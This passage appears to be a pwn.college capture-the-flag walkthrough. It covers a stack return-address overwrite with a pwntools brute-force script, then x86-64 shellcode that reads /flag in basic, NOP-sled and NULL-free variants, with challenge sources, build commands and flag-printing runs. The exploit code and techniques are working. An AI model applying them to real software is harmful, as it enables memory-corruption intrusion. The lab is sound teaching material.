R13 0x7fff1b394600 ◂— 1
R14 0
R15 0
RBP 0x7fff1b3934e0 —▸ 0x7fff1b394510 ◂— 0
RSP 0x7fff1b393470 ◂— 0
*RIP 0x5a2479357c1b (challenge+251) ◂— call memcpy@plt
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
► 0x5a2479357c1b <challenge+251> call memcpy@plt <memcpy@plt>
dest: 0x7fff1b393490 ◂— 0
src: 0x5a247b3472a0 ◂— 'aaaaaaaaaaaaaaaaaa\n'
n: 0x13

0x5a2479357c20 <challenge+256> cmp dword ptr [rbp - 0x14], 0
0x5a2479357c24 <challenge+260> jns challenge+306 <challenge+306>

0x5a2479357c26 <challenge+262> call __errno_location@plt <__errno_location@plt>

0x5a2479357c2b <challenge+267> mov eax, dword ptr [rax]
0x5a2479357c2d <challenge+269> mov edi, eax
0x5a2479357c2f <challenge+271> call strerror@plt <strerror@plt>

0x5a2479357c34 <challenge+276> mov rsi, rax
0x5a2479357c37 <challenge+279> lea rdi, [rip + 0x552] RDI => 0x5a2479358190 ◂— 'ERROR: Failed to read input -- %s!\n'
0x5a2479357c3e <challenge+286> mov eax, 0 EAX => 0
0x5a2479357c43 <challenge+291> call printf@plt <printf@plt>
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fff1b393470 ◂— 0
01:0008│-068 0x7fff1b393478 —▸ 0x7fff1b394618 —▸ 0x7fff1b3956df ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-060 0x7fff1b393480 —▸ 0x7fff1b394608 —▸ 0x7fff1b3956b5 ◂— '/challenge/binary-exploitation-null-write'
03:0018│-058 0x7fff1b393488 ◂— 0x11309d6a0
04:0020│ rax rdi 0x7fff1b393490 ◂— 0
... ↓ 3 skipped
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► 0 0x5a2479357c1b challenge+251
1 0x5a2479357ceb main+134
2 0x73b312ed4083 __libc_start_main+243
3 0x5a247935722e _start+46
───────────────────────────────────────────────────────────────────────────────────────────────────────────────

So rdi points to the address 0x7fff1b393490, where data.input is located.

Now we have to figure out the distance of the saved rbp. For that, we have to first find it's location.

pwndbg> info frame
Stack level 0, frame at 0x7fff1b3934f0:
rip = 0x5a2479357c1b in challenge; saved rip = 0x5a2479357ceb
called by frame at 0x7fff1b394520
Arglist at 0x7fff1b3934e0, args:
Locals at 0x7fff1b3934e0, Previous frame's sp is 0x7fff1b3934f0
Saved registers:
rbp at 0x7fff1b3934e0, rip at 0x7fff1b3934e8

We can see the saved rip is at 0x7fff1b3934e8. Let's calcuate it's distance from the location of data.input.

pwndbg> p/d 0x7fff1b3934e8 - 0x7fff1b393490
$1 = 88
  • Location of buffer: 0x6278372202a0
  • Distance of return address to main() from the data.input: 88
  • Page offset of instruction in win_authed() function which skips the checks: 0x1a1f
  • Maximum allowed of tmp_input: 32

Exploit

~/script.py
from pwn import *

padding = b"A" * 32 + b"\x00" + b"A" * 55
payload = padding + b"\x1f\x1a"

attempt = 0

while True:
attempt += 1
print(f"[+] Attempt {attempt}")

p = process('/challenge/binary-exploitation-null-write')
try:
p.recvuntil("bytes)!")
p.send(payload)
output = p.recvall(timeout=1).decode(errors="ignore")

if "pwn.college{" in output:
print("[!!!] FLAG FOUND !!!")
print(output)
break

except Exception:
pass
finally:
p.close()
hacker@binary-exploitation~string-lengths-hard:/$ python ~/script.py 
[+] Attempt 1
[+] Starting local process '/challenge/binary-exploitation-null-write': pid 8905
/home/hacker/script.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("bytes)!")
[+] Receiving all data: Done (97B)
[*] Process '/challenge/binary-exploitation-null-write' stopped with exit code -7 (SIGBUS) (pid 8905)
[!!!] FLAG FOUND !!!

Goodbye!
You win! Here is your flag:
pwn.college{EuK_1klgGr8onlMRSqd_VfNpi20.0FNwMDL4ITM0EzW}

 

Basic Shellcode

Source code

/challenge/binary-exploitation-basic-shellcode.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
#include <capstone/capstone.h>

#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64

void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
csh handle;
cs_insn *insn;
size_t count;

if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
{
printf("ERROR: disassembler failed to initialize.\n");
return;
}

count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
if (count > 0)
{
size_t j;
printf(" Address | Bytes | Instructions\n");
printf("------------------------------------------------------------------------------------------\n");

for (j = 0; j < count; j++)
{
printf("0x%016lx | ", (unsigned long)insn[j].address);
for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
for (int k = insn[j].size; k < 15; k++) printf(" ");
printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
}

cs_free(insn, count);
}
else
{
printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
printf(" Address | Bytes\n");
printf("--------------------------------------------------------------------\n");
for (unsigned int i = 0; i <= shellcode_size; i += 16)
{
printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
printf("\n");
}
}

cs_close(&handle);
}

void *shellcode;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("###\n");
printf("### Welcome to %s!\n", argv[0]);
printf("###\n");
printf("\n");

puts("This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
puts("as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
puts("practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
for (int i = 3; i < 10000; i++) close(i);
for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

puts("In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every");
puts("execution, your shellcode will need to be *position-independent*.\n");
uint8_t shellcode_buffer[0x1000];
shellcode = (void *)&shellcode_buffer;
printf("Allocated 0x1000 bytes for shellcode on the stack at %p!\n", shellcode);

puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode, 0x1000);
assert(shellcode_size > 0);

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode)();

printf("### Goodbye!\n");
}
hacker@binary-exploitation~basic-shellcode:/$ /challenge/binary-exploitation-basic-shellcode
###
### Welcome to /challenge/binary-exploitation-basic-shellcode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.

Allocated 0x1000 bytes for shellcode on the stack at 0x7ffc2e154f00!
Reading 0x1000 bytes from stdin.

In order to solve this challenge we will have to pass a shellcode to the challenge as input.

Exploit

~/shellcode.s
.global _start
.intel_syntax noprefix

_start:
# open("/flag", 0, 0)
lea rdi, [rip + flag]
mov rsi, 0
mov rdx, 0
mov rax, 0x02
syscall

# read(fd, rsp, 1000)
mov rdi, rax
mov rsi, rsp
mov rdx, 1000
mov rax, 0x00
syscall

# write(1, rsp, bytes)
mov rdi, 1
mov rax, 0x01
syscall

# exit(0)
mov rdi, 0
mov rax, 0x3c
syscall

flag:
.string "/flag"

Now, we will have to compile this assembly shellcode using GCC.

hacker@binary-exploitation~basic-shellcode:/$ cd ~
hacker@binary-exploitation~basic-shellcode:~$ gcc -nostdlib ./shellcode.s -o ./shellcode

Now, we can extract just the .text section from the shellcode.

hacker@binary-exploitation~basic-shellcode:~$ objcopy --dump-section .text=./shellcode.bin ./shellcode

Finally, we can pass the shellcode bytes as input to the challenge.

hacker@binary-exploitation~basic-shellcode:~$ /challenge/binary-exploitation-basic-shellcode < ~/shellcode.bin 
###
### Welcome to /challenge/binary-exploitation-basic-shellcode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.

Allocated 0x1000 bytes for shellcode on the stack at 0x7ffcd4a305f0!
Reading 0x1000 bytes from stdin.

This challenge is about to execute the following shellcode:

Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x00007ffcd4a305f0 | 48 8d 3d 53 00 00 00 | lea rdi, [rip + 0x53]
0x00007ffcd4a305f7 | 48 c7 c6 01 00 00 00 | mov rsi, 1
0x00007ffcd4a305fe | 48 ff ce | dec rsi
0x00007ffcd4a30601 | 48 c7 c2 01 00 00 00 | mov rdx, 1
0x00007ffcd4a30608 | 48 ff ca | dec rdx
0x00007ffcd4a3060b | 48 c7 c0 02 00 00 00 | mov rax, 2
0x00007ffcd4a30612 | 0f 05 | syscall
0x00007ffcd4a30614 | 48 89 c7 | mov rdi, rax
0x00007ffcd4a30617 | 48 89 e6 | mov rsi, rsp
0x00007ffcd4a3061a | 48 c7 c2 e8 03 00 00 | mov rdx, 0x3e8
0x00007ffcd4a30621 | 48 c7 c0 00 00 00 00 | mov rax, 0
0x00007ffcd4a30628 | 0f 05 | syscall
0x00007ffcd4a3062a | 48 c7 c7 01 00 00 00 | mov rdi, 1
0x00007ffcd4a30631 | 48 c7 c0 01 00 00 00 | mov rax, 1
0x00007ffcd4a30638 | 0f 05 | syscall
0x00007ffcd4a3063a | 48 c7 c7 00 00 00 00 | mov rdi, 0
0x00007ffcd4a30641 | 48 c7 c0 3c 00 00 00 | mov rax, 0x3c
0x00007ffcd4a30648 | 0f 05 | syscall

Executing shellcode!

pwn.college{0N291yiFCbNt98sJsa0914UpMhR.01NxIDL4ITM0EzW}
�������H�=SH��H��H��H��H��H��H��H���H��H��H��H��H��</flagpppDD�w����S�tdPPP P�td����^�^Q�tdR�td�w����x8x8������_�{�w��`[�{`�����D^�{Z�
,]�Z�{`1b�{� �������ЅLb�ЅLb����!4h�!4h���hC�3�1b�{�k`�{` b�{��_�{� ����D^�{�1b�{

 

NOP Sleds

Source code

title=
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

#include <capstone/capstone.h>

#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64

void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
csh handle;
cs_insn *insn;
size_t count;

if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
{
printf("ERROR: disassembler failed to initialize.\n");
return;
}

count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
if (count > 0)
{
size_t j;
printf(" Address | Bytes | Instructions\n");
printf("------------------------------------------------------------------------------------------\n");

for (j = 0; j < count; j++)
{
printf("0x%016lx | ", (unsigned long)insn[j].address);
for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
for (int k = insn[j].size; k < 15; k++) printf(" ");
printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
}

cs_free(insn, count);
}
else
{
printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
printf(" Address | Bytes\n");
printf("--------------------------------------------------------------------\n");
for (unsigned int i = 0; i <= shellcode_size; i += 16)
{
printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
printf("\n");
}
}

cs_close(&handle);
}

void *shellcode;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("###\n");
printf("### Welcome to %s!\n", argv[0]);
printf("###\n");
printf("\n");

puts("This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
puts("as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
puts("practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
for (int i = 3; i < 10000; i++) close(i);
for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

puts("In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every");
puts("execution, your shellcode will need to be *position-independent*.\n");
uint8_t shellcode_buffer[0x1000];
shellcode = (void *)&shellcode_buffer;
printf("Allocated 0x1000 bytes for shellcode on the stack at %p!\n", shellcode);

puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode, 0x1000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge will randomly skip up to 0x800 bytes in your shellcode. You better adapt to that! One way to evade this");
puts("is to have your shellcode start with a long set of single-byte instructions that do nothing, such as `nop`, before the");
puts("actual functionality of your code begins. When control flow hits any of these instructions, they will all harmlessly");
puts("execute and then your real shellcode will run. This concept is called a `nop sled`.\n");
srand(time(NULL));
int to_skip = (rand() % 0x700) + 0x100;
shellcode += to_skip;
shellcode_size -= to_skip;

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode)();

printf("### Goodbye!\n");
}

In this challenge we will have to add a NOP sled at the start of our shellcode.

NOP sled

nop instruction

The nop instruction makes no semantic difference to the program, i.e. it does nothing to the program logic. For this reason, it can be used to pad the code.

We can repeat the nop instruction using a repeat loop.

rept instruction

The rept instruction creates a loop repeats which whatever instruction is mentioned within it as many times as specified.

.rept (number of times to be repeated)
instruction
.endr

Now we simply have to put our nop instruction inside the repeat loop and put the repeat loop between the jmp instruction and the label.

jmp Relative
.rept 0x800
nop
.endr
Relative:
mov rax, 0x1

Exploit

~/shellcode.s
.global _start
.intel_syntax noprefix

_start:
# NOP sled
jmp Relative
.rept 0x800
nop
.endr

Relative:

# open("/flag", 0, 0)
lea rdi, [rip + flag]
mov rsi, 0
mov rdx, 0
mov rax, 0x02
syscall

# read(fd, rsp, 1000)
mov rdi, rax
mov rsi, rsp
mov rdx, 1000
mov rax, 0x00
syscall

# write(1, rsp, bytes)
mov rdi, 1
mov rax, 0x01
syscall

# exit(0)
mov rdi, 0
mov rax, 0x3c
syscall

flag:
.string "/flag"
hacker@binary-exploitation~basic-shellcode:/$ cd ~
hacker@binary-exploitation~basic-shellcode:~$ gcc -nostdlib ./shellcode.s -o ./shellcode
hacker@binary-exploitation~basic-shellcode:~$ objcopy --dump-section .text=./shellcode.bin ./shellcode
hacker@binary-exploitation~nop-sleds:~$ /challenge/binary-exploitation-nopsled-shellcode < ./shellcode.bin

# --- snip ---

0x00007fffdafda3d3 | 90 | nop
0x00007fffdafda3d4 | 90 | nop
0x00007fffdafda3d5 | 48 8d 3d 53 00 00 00 | lea rdi, [rip + 0x53]
0x00007fffdafda3dc | 48 c7 c6 01 00 00 00 | mov rsi, 1
0x00007fffdafda3e3 | 48 ff ce | dec rsi
0x00007fffdafda3e6 | 48 c7 c2 01 00 00 00 | mov rdx, 1
0x00007fffdafda3ed | 48 ff ca | dec rdx
0x00007fffdafda3f0 | 48 c7 c0 02 00 00 00 | mov rax, 2
0x00007fffdafda3f7 | 0f 05 | syscall
0x00007fffdafda3f9 | 48 89 c7 | mov rdi, rax
0x00007fffdafda3fc | 48 89 e6 | mov rsi, rsp
0x00007fffdafda3ff | 48 c7 c2 e8 03 00 00 | mov rdx, 0x3e8
0x00007fffdafda406 | 48 c7 c0 00 00 00 00 | mov rax, 0
0x00007fffdafda40d | 0f 05 | syscall
0x00007fffdafda40f | 48 c7 c7 01 00 00 00 | mov rdi, 1
0x00007fffdafda416 | 48 c7 c0 01 00 00 00 | mov rax, 1
0x00007fffdafda41d | 0f 05 | syscall
0x00007fffdafda41f | 48 c7 c7 00 00 00 00 | mov rdi, 0
0x00007fffdafda426 | 48 c7 c0 3c 00 00 00 | mov rax, 0x3c
0x00007fffdafda42d | 0f 05 | syscall

Executing shellcode!

pwn.college{41bOqvKDPCwiMTX3SavJtS2VpSf.0FOxIDL4ITM0EzW}
����ȭ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

 

NULL-Free Shellcode

Source code

/challenge/binary-exploitation-null-free-shellcode.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

#include <capstone/capstone.h>

#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64

void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
csh handle;
cs_insn *insn;
size_t count;

if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
{
printf("ERROR: disassembler failed to initialize.\n");
return;
}

count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
if (count > 0)
{
size_t j;
printf(" Address | Bytes | Instructions\n");
printf("------------------------------------------------------------------------------------------\n");

for (j = 0; j < count; j++)
{
printf("0x%016lx | ", (unsigned long)insn[j].address);
for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
for (int k = insn[j].size; k < 15; k++) printf(" ");
printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
}

cs_free(insn, count);
}
else
{
printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
printf(" Address | Bytes\n");
printf("--------------------------------------------------------------------\n");
for (unsigned int i = 0; i <= shellcode_size; i += 16)
{
printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
printf("\n");
}
}

cs_close(&handle);
}

void *shellcode;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("###\n");
printf("### Welcome to %s!\n", argv[0]);
printf("###\n");
printf("\n");

puts("This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
puts("as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
puts("practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
for (int i = 3; i < 10000; i++) close(i);
for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

shellcode = mmap((void *)0x29678000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
assert(shellcode == (void *)0x29678000);
printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);

puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode, 0x1000);
assert(shellcode_size > 0);

puts("Executing filter...\n");
puts("This challenge requires that your shellcode have no NULL bytes!\n");
for (int i = 0; i < shellcode_size; i++)
if (!((uint8_t *)shellcode)[i])
{
printf("Failed filter at byte %d!\n", i);
exit(1);
}

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode)();

printf("### Goodbye!\n");
}
hacker@binary-exploitation~null-free-shellcode:/$ /challenge/binary-exploitation-null-free-shellcode
###
### Welcome to /challenge/binary-exploitation-null-free-shellcode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x29678000!
Reading 0x1000 bytes from stdin.

In this challenge, we have to eliminate all \x00 bytes from our shellcode.

Exploit

~/shellcode.s
.global _start
.intel_syntax noprefix

_start:
# Push "/flag" onto the stack
xor rax, rax
push rax # NULL terminator
mov ebx, 0x67616c66 # "/flag" (little endian)
shl rbx, 8
mov bl, 0x2f
push rbx

# open("/flag", 0, 0)
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 2
syscall

# read(fd, rsp, 1000)
mov rdi, rax
mov rsi, rsp
mov dx, 1000
xor rax, rax
syscall

# write(1, rsp, bytes)
mov dil, 1
mov al, 1
syscall

# exit(0)
xor rdi, rdi
mov al, 60
syscall
hacker@binary-exploitation~null-free-shellcode:/$ cd ~
hacker@binary-exploitation~null-free-shellcode:~$ gcc -nostdlib ./shellcode.s -o ./shellcode
hacker@binary-exploitation~null-free-shellcode:~$ objcopy --dump-section .text=./shellcode.bin ./shellcode

Now, let's check the hexadecimal dump of our raw shellcode.

hacker@binary-exploitation~null-free-shellcode:~$ objdump -d -M intel shellcode

shellcode: file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
401000: 48 31 c0 xor rax,rax
401003: 50 push rax
401004: bb 66 6c 61 67 mov ebx,0x67616c66
401009: 48 c1 e3 08 shl rbx,0x8
40100d: b3 2f mov bl,0x2f
40100f: 53 push rbx
401010: 48 89 e7 mov rdi,rsp
401013: 48 31 f6 xor rsi,rsi
401016: 48 31 d2 xor rdx,rdx
401019: b0 02 mov al,0x2
40101b: 0f 05 syscall
40101d: 48 89 c7 mov rdi,rax
401020: 48 89 e6 mov rsi,rsp
401023: 66 ba e8 03 mov dx,0x3e8
401027: 48 31 c0 xor rax,rax
40102a: 0f 05 syscall
40102c: 40 b7 01 mov dil,0x1
40102f: b0 01 mov al,0x1
401031: 0f 05 syscall
401033: 48 31 ff xor rdi,rdi
401036: b0 3c mov al,0x3c
401038: 0f 05 syscall

We have successfully written a shellcode without any \x00 bytes.

hacker@binary-exploitation~null-free-shellcode:/$ /challenge/binary-exploitation-null-free-shellcode < ~/shellcode.bin 
###
### Welcome to /challenge/binary-exploitation-null-free-shellcode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x29678000!
Reading 0x1000 bytes from stdin.

Executing filter...

This challenge requires that your shellcode have no NULL bytes!

This challenge is about to execute the following shellcode:

Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x0000000029678000 | 48 31 c0 | xor rax, rax
0x0000000029678003 | 50 | push rax
0x0000000029678004 | bb 66 6c 61 67 | mov ebx, 0x67616c66
0x0000000029678009 | 48 c1 e3 08 | shl rbx, 8
0x000000002967800d | b3 2f | mov bl, 0x2f
0x000000002967800f | 53 | push rbx
0x0000000029678010 | 48 89 e7 | mov rdi, rsp
0x0000000029678013 | 48 31 f6 | xor rsi, rsi
0x0000000029678016 | 48 31 d2 | xor rdx, rdx
0x0000000029678019 | b0 02 | mov al, 2
0x000000002967801b | 0f 05 | syscall
0x000000002967801d | 48 89 c7 | mov rdi, rax
0x0000000029678020 | 48 89 e6 | mov rsi, rsp
0x0000000029678023 | 66 ba e8 03 | mov dx, 0x3e8
0x0000000029678027 | 48 31 c0 | xor rax, rax
0x000000002967802a | 0f 05 | syscall
0x000000002967802c | 40 b7 01 | mov dil, 1
0x000000002967802f | b0 01 | mov al, 1
0x0000000029678031 | 0f 05 | syscall
0x0000000029678033 | 48 31 ff | xor rdi, rdi
0x0000000029678036 | b0 3c | mov al, 0x3c
0x0000000029678038 | 0f 05 | syscall

Executing shellcode!

pwn.college{4QO3UR_0fJE_Jyv5qY_gXmXRll-.0VOxIDL4ITM0EzW}
':м{����{���`X�
| 6|�
|ȼ{��g�n�.[p�n�.[d���7�H �n�.[��{��d�1d(Aa�dş�oe��ȼ{��ؼ{���Q|�
| �n�.[��{��N�n�.[��{����{����{����{����{��{��L�{����{����{����{���{��`�{��r�{���{���{�� �{��4�{��V�{����{����{����{����{��l�{`y��{����{���{��.�{��B�{����{��!}��3����d@�n�.[8
| �n�.[
� $��x86_64Segmentation fault

 

Hijack to (Mapped) Shellcode (easy)

Source code

/challenge/binary-exploitation-hijack-to-mmap-shellcode-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

#include <capstone/capstone.h>

#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64

void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
csh handle;
cs_insn *insn;
size_t count;

if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
{
printf("ERROR: disassembler failed to initialize.\n");
return;
}

count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
if (count > 0)
{
size_t j;
printf(" Address | Bytes | Instructions\n");
printf("------------------------------------------------------------------------------------------\n");

for (j = 0; j < count; j++)
{
printf("0x%016lx | ", (unsigned long)insn[j].address);
for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
for (int k = insn[j].size; k < 15; k++) printf(" ");
printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
}

cs_free(insn, count);
}
else
{
printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
printf(" Address | Bytes\n");
printf("--------------------------------------------------------------------\n");
for (unsigned int i = 0; i <= shellcode_size; i += 16)
{
printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
